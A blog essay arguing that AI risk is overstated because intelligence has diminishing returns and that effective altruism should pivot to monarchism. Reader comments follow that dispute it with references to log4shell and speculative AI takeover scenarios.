The diminishing returns of intelligence
"Just pocket your grant money and chill on the beach with beer and friends."
I am frustrated by the misguided genius of my commenters, whom—after I explicitly noted that HTTP GET requests are only read-only in theory—helpfully but a little too triumphantly—reminded me of various real-life exploits involving pure GET requests. My friends, just so you know, I may be almost fifty years old, but I could still write a memory allocator on a whiteboard with both eyes closed. (Or at least one eye.)
My friends, you are right and I was wrong, because (a lifelong flaw, I’m afraid) I stated my case just slightly too strongly. But also: in spirit, you are wrong and I am right. This example is a good one to demonstrate my point: the diminishing returns of intelligence.
My fundamental point is that there is no AI risk because intelligence experiences a curve of diminishing returns. I think the smartest people around today are close to the top of this curve. I think infinite intelligences would be much more useful than these humans—but not so much more useful that they approached the quasi-magical golem uberpowers of the Yudkowskyite AI-demon. Therefore, if you are studying AI risk, you should just pocket your grant money and chill on the beach with beer and friends. This is the true effective altruism! Because I never met a blogpost colder than a beer.
How do returns on intelligence diminish? It is sufficient to give an example or two.
The problem of input
One simple example: it is well-known in military theory that the ideal IQ difference between a commander and his subordinates should not exceed one standard deviation (roughly 15 IQ points). No doubt at infinite intelligence this pattern reverses, as the AI is clever enough to not say anything its dull monkey-servants could not understand.
But then, it has a problem: it can only say things that idiot primates would understand. Believers in the AI-golem often give it the persuasive powers of Obi-Wan Kenobi. By planting one line in an HTTP log, it can persuade some stoned Unix sysadmin to take over the world. My friends, my rational friends—have you ever met a Unix sysadmin?
The only set of inputs relevant to the sysadmin’s actions is the set of inputs he would not regard as weird or nonsensical. Nor will he act on any input without considering the weight of the channel it is sent on—a text line in a log or an email from his boss. (Of course, the golem will just hack into his boss’s account—its hacking powers, too, are straight out of a graphic novel. Maybe the whole problem here is too much anime.)
We should not describe this set of inputs in terms of the intelligence or psychology of the golem. We should describe them in terms of the far smaller set that bounds them, and bounds the actions that can result from them. This set is defined not in terms of the intelligence and psychology of the golem, but the intelligence and psychology of the sysadmin.
The problem of ignorance
The problem of ignorance is one that Feynman put more colorfully as the problem of the Emperor of China’s nose.
The AI is asked the question: how long is the Emperor of China’s nose? The problem: no one, including the AI, has ever seen the Emperor of China’s nose. (He always wears an KN95 mask.)
Now, a really smart AI will go through the DNA evidence, look at silkscreen portraits of related emperors, etc, etc, etc. A really smart AI might deliver a better guess than any human could. The Emperor’s doctor and his nose calipers would beat it every time.
If you could run a daemon on the Internet that would go around rooting servers via random HTTP GET requests—let alone thereby taking over the world by sending an email to a lab that would assemble a protein that would fill the upper atmosphere with diamondoid death bacteria that would kill everyone on earth in the same second (I used to think I could get good drugs in this town but apparently not)—don’t you think someone would be trying it right now? (Just the GET request part.)
There must be servers on the Internet that could be pwned by the right GET request. The problem is: infinite intelligence won’t be infinitely better at finding them. Just as it won’t be infinitely better at estimating the length of the Emperor of China’s nose.
As anyone who went to high school knows, intelligence is helpless against ignorance. Intelligence is not in any way a form of magic. It is just a way of finding patterns in the world. Above the level of a very smart human, relatively few patterns will be left—especially given the accumulated analytic efforts of our technological culture.
This ability to find patterns should not be confused with magick powers of divination, such as it would take to remotely measure the Emperor of China’s nose. Again and again we see the fundamentally magical flavor of the AI-golem myth—which is about as scientific as Christian Science. Perhaps we should not deride AI risk as a religion— perhaps we should respect it as a religion.
The only effective altruism is monarchism
It’s fair to say that no one researching AI risk is in any way a conscious charlatan. Or at least, if such a thing exists, I have never heard of it. Given the intelligence required, there are easier and more effective ways to be a charlatan.
No—these people are all trying to be effective altruists. Or something. The real trouble is not that their brains or hearts are too small—exactly the opposite. With amazing people like these, there is no stopping them from their mission. They need a mission. To have a mission is the meaning of their lives.
So the only way to help them is to help them pivot to a different mission—ideally, one which might actually prove relevant. Here is a rational theorem that I will now prove: the only effective altruism is monarchism.
This striking theorem is built out of two much simpler lemmas, each of which I feel is true by inspection. If Lemma A and Lemma B are both shown, the theorem is proved.
Lemma A: the most potentially effective organization in any civilization is always the government. First, the government has the most resources. Second, it has a monopoly of force. Neither of these things is true of either the Ford Foundation or the Center for Effective Altruism.
Lemma B: all effective large organizations are operated as monarchies. That is: they are commanded by one person from the top down. This is true of armies, movies, restaurants, and corporations. It is even true of the Ford Foundation and the Center for Effective Altruism. But weirdly, it is not true of most governments today—even though it has been true of most governments in the past. Kind of makes you think!
Proof: the goal of an effective altruist should be to establish an effectively altruistic government. To be effectively altruistic, it must be effective. To be effective, it must be monarchical. Therefore, the correct goal of an effective altruist must be to establish an altruistic monarchy—or, as I put it, an accountable monarchy.
The EA is held back only by this weird, 19th-century Comtean neologism, “altruism.” It would be more elegant if we instead used a phrase known to moderns and ancients alike, salus populi suprema lex. “The health of the people is the supreme law.” This is also the state motto of Missouri, which is either cool or threatening depending on your point of view. And it is the core principle of monarchism, ancient or postmodern.
Wow. Isn’t it great to turn in a totally new direction? You may go about your business.
I would say, re Lemma A:
"[T]he most potentially DESTRUCTIVE organization in any civilization is always the government. First, the government has the most resources. Second, it has a monopoly of force."
Because, per Schmitt and Yarvin, politics is the distinction between friend and enemy. If no enemy, then no need for politics, and no need for government.
As to the most "effective" organization, I don't have a clue.
Last year Yarvin argued an AI couldn't take over the internet because computer security was basically a solved problem. Now we've moved the goalposts to Mars and the AI has to be able to do it with just GET requests.
I'm not even sure that's impossible. I believe log4shell allowed arbitrary code execution from just GET requests. It was sitting around in an open source project for years, on millions of vulnerable systems. Only discovered because of intense autism of minecraft hackers. Reading any computer security stuff, and imagining your threat model is merely a nation state, is enough to keep anyone awake at night. Let alone a superintelligent being.
Why just GET requests? Are AIs never to be released into the real world, ever? How long until someone, somewhere builds an AI and screws up?
Let us hope AIs cost a lot of money to build, they will at least be safe in the same way that nukes and biolabs are "safe". Imagine a world where anyone with a trip to the hardware store could build an atom bomb... At least someone misplacing a vial of bat corona didn't actually kill everyone, this time.
Yudkowsky shoots himself in the foot with his overly detailed fantasy of Drexlerian nanotech. Is that really the important part of the story though? I could imagine an AI taking over the world with old fashioned clanking robots. Probably the easiest method would be a virus that kills 99% of humanity. Once it's in the real world, building things, does humanity have any chance?
Humanity went thousands of years without inventing the logarithm, let alone algebra or calculus. I don't find it hard to imagine a superintelligent being putting us in our place fast. The same way chess masters get put in their place by our existing primitive AI. Our brains are not evolved to do math and engineering. We are just the first creature to evolve to be accidentally capable of it, sometimes.
Superintelligence will be to human hackers, at least what Alpha zero is to chess masters. If you live in a world where everything is run by buggy networked computers, that might be enough. If that doesn't work out, well, it can be better at inventing nanotech than Drexler. If that doesn't work out, well, it can be better than our brilliant human virologists. If that doesn't work... how many paths are there? It only takes one.